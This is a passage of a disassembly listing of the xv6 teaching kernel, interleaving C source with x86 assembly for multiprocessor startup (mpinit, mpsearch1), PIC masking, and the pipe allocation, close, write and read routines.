$0x8010a48c,0x4(%esp) 80102e4e: 80 80102e4f: c7 04 24 00 70 00 80 movl $0x80007000,(%esp) 80102e56: e8 a5 14 00 00 call 80104300 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102e5b: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102e62: 00 00 00 80102e65: 05 80 27 11 80 add $0x80112780,%eax 80102e6a: 39 d8 cmp %ebx,%eax 80102e6c: 76 65 jbe 80102ed3 <main+0x103> 80102e6e: 66 90 xchg %ax,%ax if(c == mycpu()) // We've started already. 80102e70: e8 6b 07 00 00 call 801035e0 <mycpu> 80102e75: 39 d8 cmp %ebx,%eax 80102e77: 74 41 je 80102eba <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102e79: e8 02 f6 ff ff call 80102480 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void**)(code-8) = mpenter; 80102e7e: c7 05 f8 6f 00 80 b0 movl $0x80102db0,0x80006ff8 80102e85: 2d 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102e88: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102e8f: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102e92: 05 00 10 00 00 add $0x1000,%eax 80102e97: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102e9c: 0f b6 03 movzbl (%ebx),%eax 80102e9f: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp) 80102ea6: 00 80102ea7: 89 04 24 mov %eax,(%esp) 80102eaa: e8 e1 f8 ff ff call 80102790 <lapicstartap> 80102eaf: 90 nop // wait for cpu to finish mpmain() while(c->started == 0) 80102eb0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102eb6: 85 c0 test %eax,%eax 80102eb8: 74 f6 je 80102eb0 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102eba: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102ec1: 00 00 00 80102ec4: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102eca: 05 80 27 11 80 add $0x80112780,%eax 80102ecf: 39 c3 cmp %eax,%ebx 80102ed1: 72 9d jb 80102e70 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102ed3: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 80102eda: 8e 80102edb: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 80102ee2: e8 49 f5 ff ff call 80102430 <kinit2> userinit(); // first user process 80102ee7: e8 c4 07 00 00 call 801036b0 <userinit> mpmain(); // finish this processor's setup 80102eec: e8 6f fe ff ff call 80102d60 <mpmain> 80102ef1: 66 90 xchg %ax,%ax 80102ef3: 66 90 xchg %ax,%ax 80102ef5: 66 90 xchg %ax,%ax 80102ef7: 66 90 xchg %ax,%ax 80102ef9: 66 90 xchg %ax,%ax 80102efb: 66 90 xchg %ax,%ax 80102efd: 66 90 xchg %ax,%ax 80102eff: 90 nop 80102f00 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f00: 55 push %ebp 80102f01: 89 e5 mov %esp,%ebp 80102f03: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f04: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102f0a: 53 push %ebx e = addr+len; 80102f0b: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102f0e: 83 ec 10 sub $0x10,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102f11: 39 de cmp %ebx,%esi 80102f13: 73 3c jae 80102f51 <mpsearch1+0x51> 80102f15: 8d 76 00 lea 0x0(%esi),%esi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f18: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102f1f: 00 80102f20: c7 44 24 04 f8 72 10 movl $0x801072f8,0x4(%esp) 80102f27: 80 80102f28: 89 34 24 mov %esi,(%esp) 80102f2b: e8 80 13 00 00 call 801042b0 <memcmp> 80102f30: 85 c0 test %eax,%eax 80102f32: 75 16 jne 80102f4a <mpsearch1+0x4a> 80102f34: 31 c9 xor %ecx,%ecx 80102f36: 31 d2 xor %edx,%edx sum += addr[i]; 80102f38: 0f b6 04 16 movzbl (%esi,%edx,1),%eax for(i=0; i<len; i++) 80102f3c: 83 c2 01 add $0x1,%edx sum += addr[i]; 80102f3f: 01 c1 add %eax,%ecx for(i=0; i<len; i++) 80102f41: 83 fa 10 cmp $0x10,%edx 80102f44: 75 f2 jne 80102f38 <mpsearch1+0x38> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f46: 84 c9 test %cl,%cl 80102f48: 74 10 je 80102f5a <mpsearch1+0x5a> for(p = addr; p < e; p += sizeof(struct mp)) 80102f4a: 83 c6 10 add $0x10,%esi 80102f4d: 39 f3 cmp %esi,%ebx 80102f4f: 77 c7 ja 80102f18 <mpsearch1+0x18> return (struct mp*)p; return 0; } 80102f51: 83 c4 10 add $0x10,%esp return 0; 80102f54: 31 c0 xor %eax,%eax } 80102f56: 5b pop %ebx 80102f57: 5e pop %esi 80102f58: 5d pop %ebp 80102f59: c3 ret 80102f5a: 83 c4 10 add $0x10,%esp 80102f5d: 89 f0 mov %esi,%eax 80102f5f: 5b pop %ebx 80102f60: 5e pop %esi 80102f61: 5d pop %ebp 80102f62: c3 ret 80102f63: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102f69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102f70 <mpinit>: return conf; } void mpinit(void) { 80102f70: 55 push %ebp 80102f71: 89 e5 mov %esp,%ebp 80102f73: 57 push %edi 80102f74: 56 push %esi 80102f75: 53 push %ebx 80102f76: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102f79: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80102f80: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80102f87: c1 e0 08 shl $0x8,%eax 80102f8a: 09 d0 or %edx,%eax 80102f8c: c1 e0 04 shl $0x4,%eax 80102f8f: 85 c0 test %eax,%eax 80102f91: 75 1b jne 80102fae <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80102f93: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 80102f9a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80102fa1: c1 e0 08 shl $0x8,%eax 80102fa4: 09 d0 or %edx,%eax 80102fa6: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80102fa9: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 80102fae: ba 00 04 00 00 mov $0x400,%edx 80102fb3: e8 48 ff ff ff call 80102f00 <mpsearch1> 80102fb8: 85 c0 test %eax,%eax 80102fba: 89 c7 mov %eax,%edi 80102fbc: 0f 84 22 01 00 00 je 801030e4 <mpinit+0x174> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80102fc2: 8b 77 04 mov 0x4(%edi),%esi 80102fc5: 85 f6 test %esi,%esi 80102fc7: 0f 84 30 01 00 00 je 801030fd <mpinit+0x18d> conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102fcd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax if(memcmp(conf, "PCMP", 4) != 0) 80102fd3: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102fda: 00 80102fdb: c7 44 24 04 fd 72 10 movl $0x801072fd,0x4(%esp) 80102fe2: 80 80102fe3: 89 04 24 mov %eax,(%esp) conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102fe6: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80102fe9: e8 c2 12 00 00 call 801042b0 <memcmp> 80102fee: 85 c0 test %eax,%eax 80102ff0: 0f 85 07 01 00 00 jne 801030fd <mpinit+0x18d> if(conf->version != 1 && conf->version != 4) 80102ff6: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax 80102ffd: 3c 04 cmp $0x4,%al 80102fff: 0f 85 0b 01 00 00 jne 80103110 <mpinit+0x1a0> if(sum((uchar*)conf, conf->length) != 0) 80103005: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax for(i=0; i<len; i++) 8010300c: 85 c0 test %eax,%eax 8010300e: 74 21 je 80103031 <mpinit+0xc1> sum = 0; 80103010: 31 c9 xor %ecx,%ecx for(i=0; i<len; i++) 80103012: 31 d2 xor %edx,%edx 80103014: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103018: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx 8010301f: 80 for(i=0; i<len; i++) 80103020: 83 c2 01 add $0x1,%edx sum += addr[i]; 80103023: 01 d9 add %ebx,%ecx for(i=0; i<len; i++) 80103025: 39 d0 cmp %edx,%eax 80103027: 7f ef jg 80103018 <mpinit+0xa8> if(sum((uchar*)conf, conf->length) != 0) 80103029: 84 c9 test %cl,%cl 8010302b: 0f 85 cc 00 00 00 jne 801030fd <mpinit+0x18d> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103031: 8b 45 e4 mov -0x1c(%ebp),%eax 80103034: 85 c0 test %eax,%eax 80103036: 0f 84 c1 00 00 00 je 801030fd <mpinit+0x18d> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 8010303c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax ismp = 1; 80103042: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; 80103047: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010304c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx 80103053: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax 80103059: 03 55 e4 add -0x1c(%ebp),%edx 8010305c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103060: 39 c2 cmp %eax,%edx 80103062: 76 1b jbe 8010307f <mpinit+0x10f> 80103064: 0f b6 08 movzbl (%eax),%ecx switch(*p){ 80103067: 80 f9 04 cmp $0x4,%cl 8010306a: 77 74 ja 801030e0 <mpinit+0x170> 8010306c: ff 24 8d 3c 73 10 80 jmp *-0x7fef8cc4(,%ecx,4) 80103073: 90 nop 80103074: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103078: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010307b: 39 c2 cmp %eax,%edx 8010307d: 77 e5 ja 80103064 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 8010307f: 85 db test %ebx,%ebx 80103081: 0f 84 93 00 00 00 je 8010311a <mpinit+0x1aa> panic("Didn't find a suitable machine"); if(mp->imcrp){ 80103087: 80 7f 0c 00 cmpb $0x0,0xc(%edi) 8010308b: 74 12 je 8010309f <mpinit+0x12f> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010308d: ba 22 00 00 00 mov $0x22,%edx 80103092: b8 70 00 00 00 mov $0x70,%eax 80103097: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103098: b2 23 mov $0x23,%dl 8010309a: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 8010309b: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010309e: ee out %al,(%dx) } } 8010309f: 83 c4 1c add $0x1c,%esp 801030a2: 5b pop %ebx 801030a3: 5e pop %esi 801030a4: 5f pop %edi 801030a5: 5d pop %ebp 801030a6: c3 ret 801030a7: 90 nop if(ncpu < NCPU) { 801030a8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801030ae: 83 fe 07 cmp $0x7,%esi 801030b1: 7f 17 jg 801030ca <mpinit+0x15a> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030b3: 0f b6 48 01 movzbl 0x1(%eax),%ecx 801030b7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi ncpu++; 801030bd: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030c4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi) p += sizeof(struct mpproc); 801030ca: 83 c0 14 add $0x14,%eax continue; 801030cd: eb 91 jmp 80103060 <mpinit+0xf0> 801030cf: 90 nop ioapicid = ioapic->apicno; 801030d0: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 801030d4: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801030d7: 88 0d 60 27 11 80 mov %cl,0x80112760 continue; 801030dd: eb 81 jmp 80103060 <mpinit+0xf0> 801030df: 90 nop ismp = 0; 801030e0: 31 db xor %ebx,%ebx 801030e2: eb 83 jmp 80103067 <mpinit+0xf7> return mpsearch1(0xF0000, 0x10000); 801030e4: ba 00 00 01 00 mov $0x10000,%edx 801030e9: b8 00 00 0f 00 mov $0xf0000,%eax 801030ee: e8 0d fe ff ff call 80102f00 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801030f3: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 801030f5: 89 c7 mov %eax,%edi if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801030f7: 0f 85 c5 fe ff ff jne 80102fc2 <mpinit+0x52> panic("Expect to run on an SMP"); 801030fd: c7 04 24 02 73 10 80 movl $0x80107302,(%esp) 80103104: e8 57 d2 ff ff call 80100360 <panic> 80103109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(conf->version != 1 && conf->version != 4) 80103110: 3c 01 cmp $0x1,%al 80103112: 0f 84 ed fe ff ff je 80103005 <mpinit+0x95> 80103118: eb e3 jmp 801030fd <mpinit+0x18d> panic("Didn't find a suitable machine"); 8010311a: c7 04 24 1c 73 10 80 movl $0x8010731c,(%esp) 80103121: e8 3a d2 ff ff call 80100360 <panic> 80103126: 66 90 xchg %ax,%ax 80103128: 66 90 xchg %ax,%ax 8010312a: 66 90 xchg %ax,%ax 8010312c: 66 90 xchg %ax,%ax 8010312e: 66 90 xchg %ax,%ax 80103130 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103130: 55 push %ebp 80103131: ba 21 00 00 00 mov $0x21,%edx 80103136: 89 e5 mov %esp,%ebp 80103138: b8 ff ff ff ff mov $0xffffffff,%eax 8010313d: ee out %al,(%dx) 8010313e: b2 a1 mov $0xa1,%dl 80103140: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103141: 5d pop %ebp 80103142: c3 ret 80103143: 66 90 xchg %ax,%ax 80103145: 66 90 xchg %ax,%ax 80103147: 66 90 xchg %ax,%ax 80103149: 66 90 xchg %ax,%ax 8010314b: 66 90 xchg %ax,%ax 8010314d: 66 90 xchg %ax,%ax 8010314f: 90 nop 80103150 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103150: 55 push %ebp 80103151: 89 e5 mov %esp,%ebp 80103153: 57 push %edi 80103154: 56 push %esi 80103155: 53 push %ebx 80103156: 83 ec 1c sub $0x1c,%esp 80103159: 8b 75 08 mov 0x8(%ebp),%esi 8010315c: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 8010315f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103165: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010316b: e8 d0 db ff ff call 80100d40 <filealloc> 80103170: 85 c0 test %eax,%eax 80103172: 89 06 mov %eax,(%esi) 80103174: 0f 84 a4 00 00 00 je 8010321e <pipealloc+0xce> 8010317a: e8 c1 db ff ff call 80100d40 <filealloc> 8010317f: 85 c0 test %eax,%eax 80103181: 89 03 mov %eax,(%ebx) 80103183: 0f 84 87 00 00 00 je 80103210 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103189: e8 f2 f2 ff ff call 80102480 <kalloc> 8010318e: 85 c0 test %eax,%eax 80103190: 89 c7 mov %eax,%edi 80103192: 74 7c je 80103210 <pipealloc+0xc0> goto bad; p->readopen = 1; 80103194: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 8010319b: 00 00 00 p->writeopen = 1; 8010319e: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801031a5: 00 00 00 p->nwrite = 0; 801031a8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801031af: 00 00 00 p->nread = 0; 801031b2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801031b9: 00 00 00 initlock(&p->lock, "pipe"); 801031bc: 89 04 24 mov %eax,(%esp) 801031bf: c7 44 24 04 50 73 10 movl $0x80107350,0x4(%esp) 801031c6: 80 801031c7: e8 64 0e 00 00 call 80104030 <initlock> (*f0)->type = FD_PIPE; 801031cc: 8b 06 mov (%esi),%eax 801031ce: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 801031d4: 8b 06 mov (%esi),%eax 801031d6: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 801031da: 8b 06 mov (%esi),%eax 801031dc: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 801031e0: 8b 06 mov (%esi),%eax 801031e2: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 801031e5: 8b 03 mov (%ebx),%eax 801031e7: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 801031ed: 8b 03 mov (%ebx),%eax 801031ef: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 801031f3: 8b 03 mov (%ebx),%eax 801031f5: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 801031f9: 8b 03 mov (%ebx),%eax return 0; 801031fb: 31 db xor %ebx,%ebx (*f1)->pipe = p; 801031fd: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103200: 83 c4 1c add $0x1c,%esp 80103203: 89 d8 mov %ebx,%eax 80103205: 5b pop %ebx 80103206: 5e pop %esi 80103207: 5f pop %edi 80103208: 5d pop %ebp 80103209: c3 ret 8010320a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*f0) 80103210: 8b 06 mov (%esi),%eax 80103212: 85 c0 test %eax,%eax 80103214: 74 08 je 8010321e <pipealloc+0xce> fileclose(*f0); 80103216: 89 04 24 mov %eax,(%esp) 80103219: e8 e2 db ff ff call 80100e00 <fileclose> if(*f1) 8010321e: 8b 03 mov (%ebx),%eax return -1; 80103220: bb ff ff ff ff mov $0xffffffff,%ebx if(*f1) 80103225: 85 c0 test %eax,%eax 80103227: 74 d7 je 80103200 <pipealloc+0xb0> fileclose(*f1); 80103229: 89 04 24 mov %eax,(%esp) 8010322c: e8 cf db ff ff call 80100e00 <fileclose> } 80103231: 83 c4 1c add $0x1c,%esp 80103234: 89 d8 mov %ebx,%eax 80103236: 5b pop %ebx 80103237: 5e pop %esi 80103238: 5f pop %edi 80103239: 5d pop %ebp 8010323a: c3 ret 8010323b: 90 nop 8010323c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103240 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103240: 55 push %ebp 80103241: 89 e5 mov %esp,%ebp 80103243: 56 push %esi 80103244: 53 push %ebx 80103245: 83 ec 10 sub $0x10,%esp 80103248: 8b 5d 08 mov 0x8(%ebp),%ebx 8010324b: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010324e: 89 1c 24 mov %ebx,(%esp) 80103251: e8 ca 0e 00 00 call 80104120 <acquire> if(writable){ 80103256: 85 f6 test %esi,%esi 80103258: 74 3e je 80103298 <pipeclose+0x58> p->writeopen = 0; wakeup(&p->nread); 8010325a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax p->writeopen = 0; 80103260: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 80103267: 00 00 00 wakeup(&p->nread); 8010326a: 89 04 24 mov %eax,(%esp) 8010326d: e8 fe 0a 00 00 call 80103d70 <wakeup> } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103272: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 80103278: 85 d2 test %edx,%edx 8010327a: 75 0a jne 80103286 <pipeclose+0x46> 8010327c: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103282: 85 c0 test %eax,%eax 80103284: 74 32 je 801032b8 <pipeclose+0x78> release(&p->lock); kfree((char*)p); } else release(&p->lock); 80103286: 89 5d 08 mov %ebx,0x8(%ebp) } 80103289: 83 c4 10 add $0x10,%esp 8010328c: 5b pop %ebx 8010328d: 5e pop %esi 8010328e: 5d pop %ebp release(&p->lock); 8010328f: e9 7c 0f 00 00 jmp 80104210 <release> 80103294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 80103298: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax p->readopen = 0; 8010329e: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801032a5: 00 00 00 wakeup(&p->nwrite); 801032a8: 89 04 24 mov %eax,(%esp) 801032ab: e8 c0 0a 00 00 call 80103d70 <wakeup> 801032b0: eb c0 jmp 80103272 <pipeclose+0x32> 801032b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&p->lock); 801032b8: 89 1c 24 mov %ebx,(%esp) 801032bb: e8 50 0f 00 00 call 80104210 <release> kfree((char*)p); 801032c0: 89 5d 08 mov %ebx,0x8(%ebp) } 801032c3: 83 c4 10 add $0x10,%esp 801032c6: 5b pop %ebx 801032c7: 5e pop %esi 801032c8: 5d pop %ebp kfree((char*)p); 801032c9: e9 02 f0 ff ff jmp 801022d0 <kfree> 801032ce: 66 90 xchg %ax,%ax 801032d0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801032d0: 55 push %ebp 801032d1: 89 e5 mov %esp,%ebp 801032d3: 57 push %edi 801032d4: 56 push %esi 801032d5: 53 push %ebx 801032d6: 83 ec 1c sub $0x1c,%esp 801032d9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801032dc: 89 1c 24 mov %ebx,(%esp) 801032df: e8 3c 0e 00 00 call 80104120 <acquire> for(i = 0; i < n; i++){ 801032e4: 8b 4d 10 mov 0x10(%ebp),%ecx 801032e7: 85 c9 test %ecx,%ecx 801032e9: 0f 8e b2 00 00 00 jle 801033a1 <pipewrite+0xd1> 801032ef: 8b 4d 0c mov 0xc(%ebp),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 801032f2: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 801032f8: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801032fe: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103304: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103307: 03 4d 10 add 0x10(%ebp),%ecx 8010330a: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 8010330d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 80103313: 81 c1 00 02 00 00 add $0x200,%ecx 80103319: 39 c8 cmp %ecx,%eax 8010331b: 74 38 je 80103355 <pipewrite+0x85> 8010331d: eb 55 jmp 80103374 <pipewrite+0xa4> 8010331f: 90 nop if(p->readopen == 0 || myproc()->killed){ 80103320: e8 5b 03 00 00 call 80103680 <myproc> 80103325: 8b 40 24 mov 0x24(%eax),%eax 80103328: 85 c0 test %eax,%eax 8010332a: 75 33 jne 8010335f <pipewrite+0x8f> wakeup(&p->nread); 8010332c: 89 3c 24 mov %edi,(%esp) 8010332f: e8 3c 0a 00 00 call 80103d70 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103334: 89 5c 24 04 mov %ebx,0x4(%esp) 80103338: 89 34 24 mov %esi,(%esp) 8010333b: e8 a0 08 00 00 call 80103be0 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103340: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103346: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010334c: 05 00 02 00 00 add $0x200,%eax 80103351: 39 c2 cmp %eax,%edx 80103353: 75 23 jne 80103378 <pipewrite+0xa8> if(p->readopen == 0 || myproc()->killed){ 80103355: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010335b: 85 d2 test %edx,%edx 8010335d: 75 c1 jne 80103320 <pipewrite+0x50> release(&p->lock); 8010335f: 89 1c 24 mov %ebx,(%esp) 80103362: e8 a9 0e 00 00 call 80104210 <release> return -1; 80103367: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 8010336c: 83 c4 1c add $0x1c,%esp 8010336f: 5b pop %ebx 80103370: 5e pop %esi 80103371: 5f pop %edi 80103372: 5d pop %ebp 80103373: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103374: 89 c2 mov %eax,%edx 80103376: 66 90 xchg %ax,%ax p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103378: 8b 4d e4 mov -0x1c(%ebp),%ecx 8010337b: 8d 42 01 lea 0x1(%edx),%eax 8010337e: 81 e2 ff 01 00 00 and $0x1ff,%edx 80103384: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 8010338a: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 8010338e: 0f b6 09 movzbl (%ecx),%ecx 80103391: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 80103395: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103398: 3b 4d e0 cmp -0x20(%ebp),%ecx 8010339b: 0f 85 6c ff ff ff jne 8010330d <pipewrite+0x3d> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801033a1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801033a7: 89 04 24 mov %eax,(%esp) 801033aa: e8 c1 09 00 00 call 80103d70 <wakeup> release(&p->lock); 801033af: 89 1c 24 mov %ebx,(%esp) 801033b2: e8 59 0e 00 00 call 80104210 <release> return n; 801033b7: 8b 45 10 mov 0x10(%ebp),%eax 801033ba: eb b0 jmp 8010336c <pipewrite+0x9c> 801033bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801033c0 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 801033c0: 55 push %ebp 801033c1: 89 e5 mov %esp,%ebp 801033c3: 57 push %edi 801033c4: 56 push %esi 801033c5: 53 push %ebx 801033c6: 83 ec 1c sub $0x1c,%esp 801033c9: 8b 75 08 mov 0x8(%ebp),%esi 801033cc: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801033cf: 89 34 24 mov %esi,(%esp) 801033d2: e8 49 0d 00 00 call 80104120 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801033d7: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801033dd: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 801033e3: 75 5b jne 80103440 <piperead+0x80> 801033e5: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 801033eb: 85 db test %ebx,%ebx 801033ed: 74 51 je 80103440 <piperead+0x80> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 801033ef: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 801033f5: eb 25 jmp 8010341c <piperead+0x5c> 801033f7: 90 nop 801033f8: 89 74 24 04 mov %esi,0x4(%esp) 801033fc: 89 1c 24 mov %ebx,(%esp) 801033ff: e8 dc 07 00 00 call 80103be0 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103404: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010340a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103410: 75 2e jne 80103440 <piperead+0x80> 80103412: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103418: 85 d2 test %edx,%edx 8010341a: 74 24 je 80103440 <piperead+0x80> if(myproc()->killed){ 8010341c: e8 5f 02 00 00 call 80103680 <myproc> 80103421: 8b 48 24 mov 0x24(%eax),%ecx 80103424: 85 c9 test %ecx,%ecx 80103426: 74 d0 je 